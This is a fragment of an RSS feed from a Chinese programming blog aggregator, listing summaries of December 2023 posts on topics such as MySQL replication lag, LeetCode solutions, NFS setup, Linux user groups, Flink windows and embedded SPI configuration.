除了上述主要方法，还有几种其他蒸馏算法在知识蒸馏中有着重要应用：&#xA;基于图的蒸馏：使用图结构来捕捉数据内部的关系。基于注意力的蒸馏：从特征嵌入中通过注意力图传递知识。无数据蒸馏：在没有原始训练数据的情况下，使用合成数据进行训练。量化蒸馏：从高精度教师模型传递知识到低精度学生模型。终身蒸馏：将先前学到的知识积累并应用于未来的学习任务。基于神经架构搜索的蒸馏：寻找最适合的学生模型架构以优化学习过程。 这些方法的多样性使得知识蒸馏成为一种强大而灵活的工具，能够适应各种深度学习的应用场景。</description>
    </item>
    <item>
      <title>处理读写分离延迟</title>
      <link>https://bchobby.github.io/posts/bf656a1e5878c8f1673546f8581f7c10/</link>
      <pubDate>Wed, 20 Dec 2023 23:04:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf656a1e5878c8f1673546f8581f7c10/</guid>
      <description>由于网络、CPU资源等原因，读写分离的延迟不可避免。所以，在引入读写分离方案的时候，要优先考虑数据延迟对业务是否有影响。下面主要讨论对有影响的情况下，有哪些方式可以尽量减少影响。&#xA;延迟处理方案 主从延迟可以很小，也可能很大，这是我们无法控制的。如果只用选择一个方案来解决延迟问题，就要考虑到最极端的情况，势必会让方案的成本超出预期。所以，最好是根据业务的重要程度，选择不同的方案。&#xA;读主库 对于一致性要求高的地方，这是最简单的方式，读主库就没有数据延迟问题。所以，引入读写分离之后，一定要对业务进行合理的划分。在功能实现上，如果用的ShardingPhere框架，默认在事务里的查询会默认走主库，一般就是写库。打开spring.shardingsphere.props.sql-show=true 配置就能打印SQL在哪个库执行。&#xA;Actual SQL: master ::: Insert Into ... Actual SQL: slave0 ::: Select * From ... 等待几秒 大多数情况下，延迟时间在1秒之内。写入成功后，主动等待1秒后再查询，可以确保大多数情况能查到数据。这种方式实现简单，对业务侵入性低。看似很low，但能解决对一致性有要求的情景。当然，无脑等1秒在延迟很低的情况下，1秒就是白等。&#xA;判断GTID GTID全局事务ID是Mysql5.6引入，我们可以通过获取主库提交事务后的GTID，在从库里判断GTID是否已经执行。已经执行则代表主库的事务已经同步到从库。&#xA;先通过SHOW VARIABLES LIKE &#39;gtid_mode&#39; 命令查看GTID是否开启，返回ON表示开启。&#xA;+---------------+-------+ | Variable_name | Value | +---------------+-------+ | gtid_mode | ON | +---------------+-------+ 未开启的话要在my.cnf配置文件里开启。&#xA;gtid_mode = ON enforce_gtid_consistency = ON 获取事务的GTID 在提交事务后，通过SHOW VARIABLES LIKE &#39;gtid_executed&#39;; 或者SELECT @@GTID_EXECUTED; 查询到已经提交的事务ID集合，可能会返回ff782504-9b09-11ee-a4c3-0050568c4224:1-3 这样的格式，然后我们处理一下，获取最后一个事务IDff782504-9b09-11ee-a4c3-0050568c4224:3 。&#xA;从库判断事务是否同步 在从库通过*wait_for_executed_gtid_set*(gtid_set [, timeout]) 方法可以查询指定的事务ID是否已经执行成功，方法返回0表示已经执行；返回1表示执行超时；返回其他数值表示失败。&#xA;gtid_set是事务ID的集合，查询一个或多个事务可以用5f4cea4d-38b5-11ec-8814-0800272d6057:1,5f4cea4d-38b5-11ec-8814-0800272d6057:3 或连续的话用5f4cea4d-38b5-11ec-8814-0800272d6057:1-5这样的格式timeout是可选参数，可以设置方法执行的超时时间，单位是秒。不传的话用的是**slave_net_timeout** 变量的值，默认是60秒。 例如，我们执行select *wait_for_executed_gtid_set*(&#39;5f4cea4d-38b5-11ec-8814-0800272d6057:3&#39;, 1); 返回了0，我们就知道数据同步完成，就可以继续查询数据。如果返回非0，就直接查主库。</description>
    </item>
    <item>
      <title>听一些大神说测试前途是IT里最差的，真的是这样吗？</title>
      <link>https://bchobby.github.io/posts/f55ce41e327f16c70e1a3f08eea69951/</link>
      <pubDate>Wed, 20 Dec 2023 21:32:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f55ce41e327f16c70e1a3f08eea69951/</guid>
      <description>一：行业经历 测试行业爬模滚打7年，从点点点的功能测试到现在成为高级测试，工资也翻了几倍；个人觉得，测试的前景并不差，只要自己肯努力；我刚出来的时候是在鹅厂做外包的功能测试，天天点点点，很悠闲，点了两年，发觉这样下去会废，&#xA;二：不断学习 然后就开始学习python，java，学着搞自动化测试，不过说实话，自学的话很容易死在入门阶段，要有很强的自制力，后面学会了一些皮毛，跳槽去另外一家公司，平常比较好学，加班或者没什么项目做的时候都会自己看书，学敲代码，被领导赏识，派去总部核心技术团队学习了一个礼拜的ui自动化，是有专人带，然后回来就把公司app的自动化交给了我，这才算是真正入门自动化了，然后就开始自己琢磨，抄人家的框架，等等，做是做出来了，但是比较low，&#xA;三：跳槽学习新技术 后面又跳槽去了一家金融公司，专职做自动化，幸好到了这家公司，这里自动化的负责人是字节出来的，很牛，然后在那家公司我拼命跟着他学，讲真的，学到了好多好多东西，进这家公司的时候，人家给我定级是初中级自动化，在这做了一年多后再跳槽，我发现面试的题目我基本一看就会，跳到下一家直接就是高级了，所以，如果能跟这种大牛一起共事，一定要多学，现在我到新公司做接口自动化，然后在开发一个测试平台（突然发现，自己还是涉足挺广），我相信，当我找下一份工作的时候，要么就是测试经理，要么就是高级测试开发了，&#xA;总结：行业到底还能不能行 所以不要说测试这个行业没前途，这种话都是那些不上进的，自暴自弃的人说的；还有就是，做测试的最终归属不一定非得是自动化或者测开，做功能测试一样可以很牛，我一个朋友在一家金融公司只做功能，人家年年拿优秀员工，年终奖比那些做自动化，性能的都多；不要考虑太多，扎实做好当下的每一件事，有时间就去学习充实自己，扩展自己知识的广度，加深自己专业领域的深度，这样的人永远都不会被淘汰&#xA;自动化测试相关教程推荐： 2023最新自动化测试自学教程新手小白26天入门最详细教程,目前已有300多人通过学习这套教程入职大厂！！_哔哩哔哩_bilibili 2023最新合集Python自动化测试开发框架【全栈/实战/教程】合集精华，学完年薪40W+_哔哩哔哩_bilibili 测试开发相关教程推荐 2023全网最牛，字节测试开发大佬现场教学，从零开始教你成为年薪百万的测试开发工程师_哔哩哔哩_bilibili postman/jmeter/fiddler测试工具类教程推荐 讲的最详细JMeter接口测试/接口自动化测试项目实战合集教程，学jmeter接口测试一套教程就够了！！_哔哩哔哩_bilibili 2023自学fiddler抓包，请一定要看完【如何1天学会fiddler抓包】的全网最详细视频教程！！_哔哩哔哩_bilibili 2023全网封神，B站讲的最详细的Postman接口测试实战教学，小白都能学会_哔哩哔哩_bilibili 总结： 光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。 如果对你有帮助的话，点个赞收个藏，给作者一个鼓励。也方便你下次能够快速查找。&#xA;如有不懂还要咨询下方小卡片，博主也希望和志同道合的测试人员一起学习进步&#xA;在适当的年龄，选择适当的岗位，尽量去发挥好自己的优势。&#xA;我的自动化测试开发之路，一路走来都离不每个阶段的计划，因为自己喜欢规划和总结，&#xA;测试开发视频教程、学习笔记领取传送门！！</description>
    </item>
    <item>
      <title>2023-12-20 二叉搜索树的最近公共祖先和二叉搜索树中的插入操作和删除二叉搜索树中的节点</title>
      <link>https://bchobby.github.io/posts/6515cd94ad0145fd6428fa3294e9acd8/</link>
      <pubDate>Wed, 20 Dec 2023 21:28:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6515cd94ad0145fd6428fa3294e9acd8/</guid>
      <description>235. 二叉搜索树的最近公共祖先 思想：和二叉树的公共最近祖先节点的思路基本一致的！就是不用从下往上遍历处理！可以利用的二叉搜索树的特点从上往下处理了！而且最近公共节点肯定是第一个出现在【q，p】这个区间的内的！ # Definition for a binary tree node. # class TreeNode: # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution: def lowestCommonAncestor(self, root: &#39;TreeNode&#39;, p: &#39;TreeNode&#39;, q: &#39;TreeNode&#39;) -&amp;gt; &#39;TreeNode&#39;: return self.lowestCommonAncestor1(root, p, q) def lowestCommonAncestor1(self, root: &#39;TreeNode&#39;, p: &#39;TreeNode&#39;, q: &#39;TreeNode&#39;) -&amp;gt; &#39;TreeNode&#39;: # 二叉搜索树，是有序的，不同于二叉树的公共祖先需要从下往上遍历 # 而且公共节点一定会出现在【p，q】之前，我们递归遍历，最先出现在这个区间就是公共祖先节点了 if root is None: return root # 处理中节点了 if root.val &amp;gt; q.</description>
    </item>
    <item>
      <title>腾讯QQ9正式发布！4年来最大更新 安卓/iOS/Windows都能下载了</title>
      <link>https://bchobby.github.io/posts/52d4ef592a1a9d0e85f1c47ab323430f/</link>
      <pubDate>Wed, 20 Dec 2023 20:33:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52d4ef592a1a9d0e85f1c47ab323430f/</guid>
      <description>12月20日消息，今日， 腾讯宣布，QQ9正式上线。距离上一次QQ8版本已经过去了4年。 据官方介绍，本次版本更新，QQ9采用了全新的QQNT技术架构驱动，性能升级，交互体验更加流畅。全新界面，流畅社交。&#xA;首先是UI界面全面优化，QQ启动页、登录页、消息列表页、关于页等页面UI焕彩上线。&#xA;同时，聊天、设置界面顶部栏调整为浅色显示，聊天界面排版、图标进行了整体优化，视觉上更加简单纯粹。&#xA;其次，个人资料卡可以动起来了。迷你窝上线资料卡封面，可以为自己打造专属3D立体迷你窝，迷你窝还能随手机水平状态旋转。&#xA;第三，邀请好友绑定密友关系，即可获得对应好友标识，开启专属密友卡片。情侣关系支持且仅支持绑定一位好友，你是不是对象的唯一？绑定情侣关系一秒识别！&#xA;第四，QQ群全面升级，在线群文件预览上线。QQ9新增多群管理，群互动概况一目了然。群文件支持在线预览，减轻内存压力。&#xA;新增群成员去重、满员换群功能，避免成员重复进群，群管理更加便捷。&#xA;目前，腾讯QQ9安卓、iOS、Windwos、Linux、Mac版本已均可下载。&#xA;以下为QQ9更新一览：</description>
    </item>
    <item>
      <title>LeetCode：162. 寻找峰值、1901. 寻找峰值 II（二分 C&#43;&#43;）</title>
      <link>https://bchobby.github.io/posts/09eed1c8a27719bf0f6b212ef0c1a29b/</link>
      <pubDate>Wed, 20 Dec 2023 19:25:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09eed1c8a27719bf0f6b212ef0c1a29b/</guid>
      <description>目录&#xA;162. 寻找峰值&#xA;题目描述：&#xA;实现代码与解析：&#xA;二分&#xA;原理思路：&#xA;1901. 寻找峰值 II&#xA;题目描述：&#xA;实现代码与解析：&#xA;二分&#xA;原理思路：&#xA;162. 寻找峰值 题目描述： 峰值元素是指其值严格大于左右相邻值的元素。&#xA;给你一个整数数组 nums，找到峰值元素并返回其索引。数组可能包含多个峰值，在这种情况下，返回 任何一个峰值 所在位置即可。&#xA;你可以假设 nums[-1] = nums[n] = -∞ 。&#xA;你必须实现时间复杂度为 O(log n) 的算法来解决此问题。&#xA;示例 1：&#xA;输入：nums = [1,2,3,1] 输出：2 解释：3 是峰值元素，你的函数应该返回其索引 2。 示例 2：&#xA;输入：nums = [ 1,2,1,3,5,6,4] 输出：1 或 5 解释：你的函数可以返回索引 1，其峰值元素为 2； 或者返回索引 5， 其峰值元素为 6。 提示：&#xA;1 &amp;lt;= nums.length &amp;lt;= 1000-231 &amp;lt;= nums[i] &amp;lt;= 231 - 1对于所有有效的 i 都有 nums[i] !</description>
    </item>
    <item>
      <title>PLC与Matlab的简单通信</title>
      <link>https://bchobby.github.io/posts/1f1b458de241ab4420cce07026e28c58/</link>
      <pubDate>Wed, 20 Dec 2023 18:04:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f1b458de241ab4420cce07026e28c58/</guid>
      <description>软件：Portal V17 MATLAB R2021b&#xA;硬件：西门子s7-1200(DC/DC/DC)&#xA;1、博途中新建一个空白项目，CPU为1212DC/DC/DC（与自己手上的设备对应），在默认变量表中新建四个变量，其中TCON_Req控制TCON模块用于建立通信连接，TDIS_Req控制TDISCON模块用于断开通信连接，TSEND_Req控制TSEND模块用于控制PLC向Matlab发送数据，TRCV_Req控制TRCV模块用于控制PLC接收Matlab的数据。&#xA;2、主程序中添加TCON块（指令--通信--开放式用户通信--其他）并进行组态&#xA;3、连接参数中，伙伴选择“未指定”，新建连接数据，连接类型选择TCP，连接ID1，伙伴地址填写matlab所在主机ip地址，端口2000&#xA;4、主程序中添加TDISCON、TSEND、TRCV三个模块&#xA;5、程序块中添加全局DB块，新增两个Byte变量，PLC_to_Matlab和Matlab_to_PLC，分别用于TSEND和TRCV块的data端，然后编译代码，下载至PLC中运行代码启用监视&#xA;6、Matlab中新建脚本，输入t=tcpip(&#39;192.168.0.1&#39;, 2000, &#39;NetworkRole&#39;, &#39;Server&#39;);前两个参数为PLC的IP地址和本机端口号，保持代码并运行，命令行窗口打开执行fopen(t)打开TCP连接，然后去博途内修改TCON_Req为1然后修改为0（REQ端上升沿有效），matlab和plc建立通讯成功&#xA;7、TSEND的数据块写入33，通过matlab接收（TSEND的REQ端置1后置0）&#xA;8、matlab向PLC写入33，PLC接收（TRCV的REQ端置1后置0）</description>
    </item>
    <item>
      <title>微服务常见的配置中心简介</title>
      <link>https://bchobby.github.io/posts/2084ab5f96af381980d854fb357c8db7/</link>
      <pubDate>Wed, 20 Dec 2023 17:32:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2084ab5f96af381980d854fb357c8db7/</guid>
      <description>微服务架构中，常见的配置中心包括以下几种：&#xA;Spring Cloud Config：&#xA;Spring Cloud Config是官方推荐的配置中心解决方案，它支持将配置文件存储在Git、SVN等版本控制系统中。通过提供RESTful API，各个微服务可以远程获取和更新配置信息。这种方式使得配置变更能够快速、方便地在所有服务中生效。ZooKeeper： ZooKeeper是一个开源的分布式协调服务，它可以作为配置中心使用。服务可以通过ZooKeeper的节点数据来存储和获取配置信息。当配置发生变化时，ZooKeeper可以通知订阅的客户端进行更新。Nacos：&#xA;Nacos是阿里巴巴开源的一款集成了配置管理、服务发现、动态DNS服务于一体的平台。作为配置中心，Nacos支持集中化管理配置，提供动态配置推送功能，使得微服务能够实时获取最新的配置信息。Apollo：&#xA;Apollo是携程开源的分布式配置中心，它提供了统一的配置管理界面，支持多环境、多数据中心配置管理，以及配置修改的灰度发布等功能。etcd：&#xA;etcd是CoreOS开发的一个分布式键值存储系统，它可以用于存储和服务发现，包括作为微服务的配置中心。etcd提供了一致性保证和-watch机制，使得服务能够实时感知配置变化。Consul：&#xA;Consul是HashiCorp公司推出的工具，它包含了服务发现、健康检查、KV存储等功能，也可以用作配置中心。Consul的KV存储可以用来存储和获取配置信息，并通过其API或DNS接口实现配置的动态获取。 这些配置中心的主要目标是实现配置的集中管理和动态更新，以降低系统的复杂性和提高运维效率。选择哪种配置中心通常取决于项目的具体需求、技术栈和团队的经验。</description>
    </item>
    <item>
      <title>共享目录搭建</title>
      <link>https://bchobby.github.io/posts/eb71a0a2772ddfb173fb9edc3027d4c0/</link>
      <pubDate>Wed, 20 Dec 2023 17:28:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb71a0a2772ddfb173fb9edc3027d4c0/</guid>
      <description>【linux系统】 1.sudo yum install nfs-utils 或 sudo apt install nfs-common&#xA;问题：如果apt install nfs-common报错dpkg: error processing package rpcbind (--configure) 解决方法：删除所有信息之后update&#xA;sudo mv/var/lib/dpkg/info/ /var/lib/dpkg/info_old/&#xA;sudo mkdir/var/lib/dpkg/info/&#xA;sudo apt-get update&#xA;再apt install nfs-common成功&#xA;2.在客户端/home/uxdb/建挂载目录nfs&#xA;3.挂载命令 sudo unmount -t nfs -o nfsvers=3 192.30.0.134:/g/nfs /home/uxdb/nfs 解挂载 sudo umount /home/uxdb/nfs&#xA;4.检查挂载情况：showmount -e 192.30.0.134&#xA;【windows系统】 1.搭建NFS服务器&#xA;安装nfs.exe，配置输出表exports文件&#xA;链接：https://pan.baidu.com/s/16zXYDI0-YA5zZxvIa1djig 提取码：1kgm&#xA;NFS页不用配置，点击服务器页，点击编辑输出表文件&#xA;g:\nfs 是共享的文件夹路径，共享G盘下得nfs目录&#xA;-public表示公共权限&#xA;-name:nfs表示显示为什么名字。&#xA;编辑完成点击重启服务器&#xA;选择电脑，鼠标右键，点击管理，进入服务，找到NFS Server,鼠标右键，点击重新启动&#xA;就会看到输出界面显示exports配置的信息。&#xA;2.客户端挂载共享目录&#xA;mount 192.168.53.189:/g/nfs g/nfs</description>
    </item>
    <item>
      <title>如何在Linux中添加和删除用户组成员</title>
      <link>https://bchobby.github.io/posts/f98841b930ff0a2a3acd5c16da9e0c91/</link>
      <pubDate>Wed, 20 Dec 2023 17:02:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f98841b930ff0a2a3acd5c16da9e0c91/</guid>
      <description>Linux是一个多用户、多任务的操作系统，它允许系统管理员通过用户组管理用户权限。用户组是一种方便的方式，可以将一系列权限分配给多个用户。本文将指导您如何在Linux系统中向组添加用户以及如何从组中删除用户。&#xA;添加用户到组 在Linux中，您可以使用usermod命令将现有用户添加到组。以下是如何操作的步骤：&#xA;使用usermod命令和-aG选项将用户添加到组。这里的-a表示追加，-G指定组名。例如，要将用户john添加到sudo组，可以使用以下命令： sudo usermod -aG sudo john 确认用户已成功添加到组中，可以使用id命令查看用户的组成员资格： id john 请注意，这将立即生效，但是用户john需要注销并重新登录才能应用新的组设置。&#xA;从组中删除用户 如果您需要从组中删除用户，可以使用gpasswd或deluser（Debian及其衍生系统）命令。这里是如何操作的步骤：&#xA;使用gpasswd命令和-d选项从组中删除用户。例如，要将用户john从sudo组中删除，可以使用以下命令： sudo gpasswd -d john sudo 在Debian或Ubuntu系统中，您可以使用deluser命令： sudo deluser john sudo 同样，您可以使用id命令确认用户已从组中删除： id john 用户john将不再显示在sudo组中。&#xA;重要提示 在添加或删除用户组成员时，请确保您有适当的权限。通常，您需要具有root权限或sudo权限。操作用户组时要格外小心，因为错误的操作可能会影响系统安全和用户权限。用户在下一次登录时，组的变更才会完全生效。 结论 通过用户组管理，Linux提供了一种灵活而强大的方式来控制用户对系统资源的访问。添加或删除组成员是日常系统管理任务的一部分，了解如何正确执行这些操作对于任何系统管理员来说都是重要的。希望这篇文章能帮助您更好地理解和管理Linux系统中的用户组。</description>
    </item>
    <item>
      <title>Flink 窗口（1）—— 基础概念</title>
      <link>https://bchobby.github.io/posts/ec90a380e825a39e6f8ecaf605e56eac/</link>
      <pubDate>Wed, 20 Dec 2023 16:25:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec90a380e825a39e6f8ecaf605e56eac/</guid>
      <description>窗口：将无限数据切割成有限的“数据块”进行处理，以便更高效地处理无界流&#xA;在处理无界数据流时，把无界流进行切分，每一段数据分别进行聚合，结果只输出一次。这就相当于将无界流的聚合转化为了有界数据集的聚合&#xA;Flink “存储桶” 在 Flink 中，窗口可以把流切割成有限大小的多个“存储桶”（bucket)；每个数据都会分发到对应的桶中，当到达窗口结束时间时，就对每个桶中收集的数据进行计算处理&#xA;窗口处理过程：&#xA;窗口创建：&#xA;Flink 中窗口并不是静态准备好的，而是动态创建——当有落在这个窗口区间范围的数据达到时，才创建对应的窗口&#xA;窗口分类 按照驱动类型分类 驱动类型，即窗口以什么标准来开始和结束数据的截取&#xA;按照时间段截取：时间窗口&#xA;窗口大小：用结束时间减去开始时间，得到这段时间的长度，就是窗口的大小&#xA;Flink中用TimeWindow类来表示时间窗口：&#xA;可以看到，窗口的时间范围是左闭右开的区间&#xA;按照固定的个数截取：计数窗口&#xA;计数窗口基于元素的个数来截取数据，到达固定的个数时就触发计算并关闭窗口&#xA;按照窗口分配数据的规则分类 滚动窗口 滚动窗口有固定的大小，是一种对数据进行“均匀切片”的划分方式；&#xA;窗口之间没有重叠，也不会有间隔，是“首尾相接”的状态，所以每个数据都会被分配到一个窗口，而且只会属于一个窗口&#xA;滚动窗口可以基于时间定义，也可以基于数据个数定义；需要的参数只有一个，就是窗口的大小（window size）。比如我们可以定义一个长度为 1 小时的滚动时间窗口，那么每个小时就会进行一次统计；或者定义一个长度为 10 的滚动计数窗口，就会每 10 个数进行一次统计&#xA;滑动窗口 滑动窗口的大小也是固定的，但窗口之间并不是首尾相接的，而是可以“错开”一定的位置&#xA;参数：窗口大小和滑动步长&#xA;窗口大小是固定的，代表了两个窗口结束时间的间隔&#xA;滑动步长代表了窗口计算的频率。滑动的距离代表了下个窗口开始的时间间隔&#xA;当滑动步长小于窗口大小时，滑动窗口就会出现重叠，这时数据也可能会被同时分配到多个窗口中；具体的个数，就由窗口大小和滑动步长的比值来决定；&#xA;比如我们定义的窗口长度为 1 小时、滑动步长为 30 分钟，那么对于 8 点 55 分的数据，应该同时属于[8 点, 9 点)和[8 点半, 9 点半)两个窗口；而对于 8 点 10 分的数据，则同时属于[8点, 9 点)和[7 点半, 8 点半)两个窗口&#xA;会话窗口 数据来了之后就开启一个会话窗口，如果接下来还有数据陆续到来，那么就一直保持会话；如果一段时间一直没收到数据，那就认为会话超时失效，窗口自动关闭会话窗口只能基于时间来定义；因为“会话”终止的标志就是“隔一段时间没有数据来”参数：会话的超时时间会出现的问题：相邻两个数据的时间间隔 gap大于指定的 size，我们认为它们属于两个会话窗口，前一个窗口就关闭；可在数据乱序的情况下，可能会有迟到数据，它的时间戳刚好是在之前的两个数据之间的。这样一来，之前我们判断的间隔中就不是“一直没有数据”，而缩小后的间隔有可能会比 size 还要小——这代表三个数据本来应该属于同一个会话窗口解决方法：每来一个新的数据，都会创建一个新的会话窗口；然后判断已有窗口之间的距离，如果小于给定的 size，就对它们进行合并（merge）操作 全局窗口 全局有效，会把相同 key 的所有数据都分配到同一个窗口中（就相当于没有分窗口）默认是不会做触发计算的。如果希望它能对数据进行计算处理，还需要自定义“触发器”（Trigger） Flink 中的计数窗口（Count Window），底层就是用全局窗口实现的</description>
    </item>
    <item>
      <title>华为OD机试真题-部门人力分配-2023年OD统一考试（C卷）</title>
      <link>https://bchobby.github.io/posts/96b0753bb9fefbe074bf6ef74b5b3522/</link>
      <pubDate>Wed, 20 Dec 2023 16:15:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96b0753bb9fefbe074bf6ef74b5b3522/</guid>
      <description>题目描述：&#xA;部门在进行需求开发时需要进行人力安排。当前部门需要完成N个需求，需求用requirements[]表示，requirements[i]表示第i个需求的工作量大小，单位：人月。&#xA;这部分需求需要在M个月内完成开发，进行人力安排后每个月的人力是固定的。&#xA;目前要求每个月最多有2个需求开发，并且每个月需要完成的需求不能超过部门人力。请帮部门评估在满足需求开发进度的情况下，每个月需要的最小人力是多少？&#xA;输入描述：输入第一行为M和requirements，M表示需要开发时间要求，requirements表示每个需求工作量大小，N为requirements长度&#xA;1 &amp;lt;= N/2 &amp;lt;= M &amp;lt;= N &amp;lt;= 10^4&#xA;1 &amp;lt;= requirements[i] &amp;lt;= 10^9&#xA;输出描述：对于每组测试数据，输出部门需要人力需求，行末无多余空格&#xA;补充说明：&#xA;示例 示例1&#xA;输入：3&#xA;3 5 3 4&#xA;输出：6&#xA;说明：输入数据两行，第一行输入数据3表示开发时间要求，第二行输入数据表示需求工作量大小，输出数据一行，表示部门人力需求</description>
    </item>
    <item>
      <title>ArkTS @Observed、@ObjectLink状态装饰器的使用</title>
      <link>https://bchobby.github.io/posts/0c296d80d96f79e2da9959b59d1b7225/</link>
      <pubDate>Wed, 20 Dec 2023 16:04:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c296d80d96f79e2da9959b59d1b7225/</guid>
      <description>作用 @Observed、@ObjectLink装饰器用于在涉及嵌套对象或者数组元素为对象的场景中进行双向数据同步。&#xA;状态的使用 1.嵌套对象 我们将父类设置为@Observed状态，这个时候，子应该设置@ObjectLink才能完成数据的双向绑定，所以我们构建一个组件，让状态变成一个变量来完成属性的状态化。&#xA;@Observed class Person{ name: string age: number gf: Person constructor(name:string, age: number, gf?: Person) { this.name = name this.age = age this.gf = gf } } @Entry @Component struct Parent { @State p: Person = new Person(&#39;zhangsan&#39;,21,new Person(&#39;lisi&#39;,18)) build() { Row() { Column() { Child({p:this.p.gf}) .onClick(()=&amp;gt;this.p.gf.age++) } .width(&#39;100%&#39;) } .height(&#39;100%&#39;) } } @Component struct Child{ @ObjectLink p: Person build(){ Column(){ Text(`${this.p.name} : ${this.p.age}`) } } } 2.</description>
    </item>
    <item>
      <title>博客3万访问量了……</title>
      <link>https://bchobby.github.io/posts/06bf7832c5f589df06b4d1f5440f4784/</link>
      <pubDate>Wed, 20 Dec 2023 15:52:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06bf7832c5f589df06b4d1f5440f4784/</guid>
      <description>博客有3万访问量了呢。自从第一次用了赠送的1500的流量券，粉丝了从零突破了，到现在有150个粉丝了。&#xA;之前预想的写博客的初衷，也是记录自己的学习过程，毕竟好记忆不如烂笔头，记录下来就是长长久久的，随时可以翻阅。每个人都应该建立自己的知识库，包含自己各个方面的知识积累，每一个阶段都有每个阶段的兴趣爱好，任务目标，所以建立相应的知识库，可以帮助自己在对应的阶段，更好的成长，走的更顺利些。&#xA;我写博客也是记录自己学习python的过程。结识编程好多年了，至少20年了吧。刚开始就想学java，后来想学c#，都没学会，教程倒是买了不少，以前在北风网就买了不少教程。 学习各种语言，最后就精通了hello world。现在40+岁了，AI也特别的火，互联网那么多风口，都没把我吹起来，意志力不够还是能力有限？现在就想把python学会，至少等到退休后，能把自媒体做起来，有一份退休收入吧。&#xA;最近在学python窗体设计。就有一个想法，本地就用exe窗体，web端就建立一个展示的页面，也不需要后台，那不是简单也安全多了？本地负责收集处理伪原创，建立内容，写入数据库里，web端就从数据库里直接读取，组成页面，这样自主性就大多了。这样一个文章系统就只有页面展示，没有后台，安全性应该很高吧？就凭安全性，感觉这里面就有不少市场啊。&#xA;python窗体有难度，但用了pythonstudio后，就容易多了。先把pythonstudio的文档完成，根据作者的ppt内容，直接复刻，就是ppt里面很多都是图片，不过这也容易，通过软件转换一下，就可以复制了。&#xA;要学的内容还有好多，ai发展也非常非常迅猛，真害怕就这么错过了。学以致用，用以致赚。赚到了，有用了，得利了，才是真的学好了。</description>
    </item>
    <item>
      <title>芯旺微chipon KF32A156系列 SPI 模块的基本使用</title>
      <link>https://bchobby.github.io/posts/f556789c0acbbfabfa96ecbd71654598/</link>
      <pubDate>Wed, 20 Dec 2023 15:35:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f556789c0acbbfabfa96ecbd71654598/</guid>
      <description>原创扣字不易，还请尊重原创，转载需注明源出处！！！ 我们在实际的使用过程中，SPI也是较为常用的通讯方式，像flahs芯片，一些传感器，通讯模组 等会使用到这种通讯方式。&#xA;芯旺微的SPI外设简介&#xA;SPI 模块可配置为支持 SPI 协议或者 I2S 协议。SPI 模块默认工作在 SPI 方式，可通过软件将其切换到 I2S 模式。在 I2S 模式下，原则上数据传输为全双工模式，主机和从机同时收发数据，但实际情况下通常只有一个方向上的数据是有意义的。&#xA;本次主要讲解SPI主机和SPI从机配置以及收发方式。文章较长，可根据自己的需要进行选择。&#xA;SPI主机配置 注意：这里主机放在循环里面进行收发演示的，同步通讯，无需担心被打断等。&#xA;三步走：配置GPIO引脚 ， 配置外设设置 ， 配置外设中断&#xA;这里如何查询引脚可以重映射为什么功能就不细说了，可以翻阅其他文章有说。&#xA;1、配置GPIO引脚 ，这里做为主机将 时钟脚 , MOSI , MISO 配置为重映射引脚，将片选脚配置为GPIO输出脚。&#xA;void Spi_IO_Init() { /* Configure SPI0 IO */ GPIO_Write_Mode_Bits(GPIOD_SFR, GPIO_PIN_MASK_3, GPIO_MODE_RMP); //sck GPIO_Write_Mode_Bits( GPIOD_SFR, GPIO_PIN_MASK_2, GPIO_MODE_RMP); //sdi GPIO_Write_Mode_Bits(GPIOG_SFR, GPIO_PIN_MASK_15, GPIO_MODE_RMP); //sdo GPIO_Write_Mode_Bits( GPIOG_SFR, GPIO_PIN_MASK_14, GPIO_MODE_OUT); //cs GPIO_Pin_RMP_Config(GPIOD_SFR, GPIO_Pin_Num_3, GPIO_RMP_AF4); GPIO_Pin_RMP_Config(GPIOD_SFR, GPIO_Pin_Num_2, GPIO_RMP_AF4); GPIO_Pin_RMP_Config(GPIOG_SFR, GPIO_Pin_Num_15, GPIO_RMP_AF4); // GPIO_Pin_RMP_Config(PG14_SPI2_SS0_AF4); } #define SPI_CS_ENABLE GPIO_Set_Output_Data_Bits(GPIOG_SFR, GPIO_PIN_MASK_14, Bit_RESET) #define SPI_CS_DISABLE GPIO_Set_Output_Data_Bits(GPIOG_SFR, GPIO_PIN_MASK_14, Bit_SET) 2、配置外设设置：主要的点是：时钟源选择（涉及到波特率），spi模式（这里选择的是空闲时为低，第一个时钟沿发送数据），数据位数（这里选择8位），发送接收接口函数配置。以下为配置及注释</description>
    </item>
    <item>
      <title>python实现制作数字人软件设计代码示例</title>
      <link>https://bchobby.github.io/posts/8d0ae62be270ceee1dda06b065644cfe/</link>
      <pubDate>Wed, 20 Dec 2023 15:06:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d0ae62be270ceee1dda06b065644cfe/</guid>
      <description>要实现一个数字人软件设计，可以使用 Python 结合一些库和框架来实现。以下是一个简单的示例代码，用于生成一个数字人的外观设计：&#xA;import random import matplotlib.pyplot as plt from PIL import Image, ImageDraw # 创建一个空白画布 canvas_width = 400 canvas_height = 400 canvas = Image.new(&#39;RGB&#39;, (canvas_width, canvas_height), &#39;white&#39;) draw = ImageDraw.Draw(canvas) # 设置数字人的特征参数 head_radius = random.randint(50, 100) body_height = random.randint(150, 250) arm_length = random.randint(70, 120) leg_length = random.randint(90, 150) eye_color = random.choice([&#39;blue&#39;, &#39;green&#39;, &#39;brown&#39;]) hair_color = random.choice([&#39;black&#39;, &#39;brown&#39;, &#39;blonde&#39;]) # 绘制头部 head_center = (canvas_width // 2, head_radius) head_bbox = (head_center[0] - head_radius, head_center[1] - head_radius, head_center[0] + head_radius, head_center[1] + head_radius) draw.</description>
    </item>
    <item>
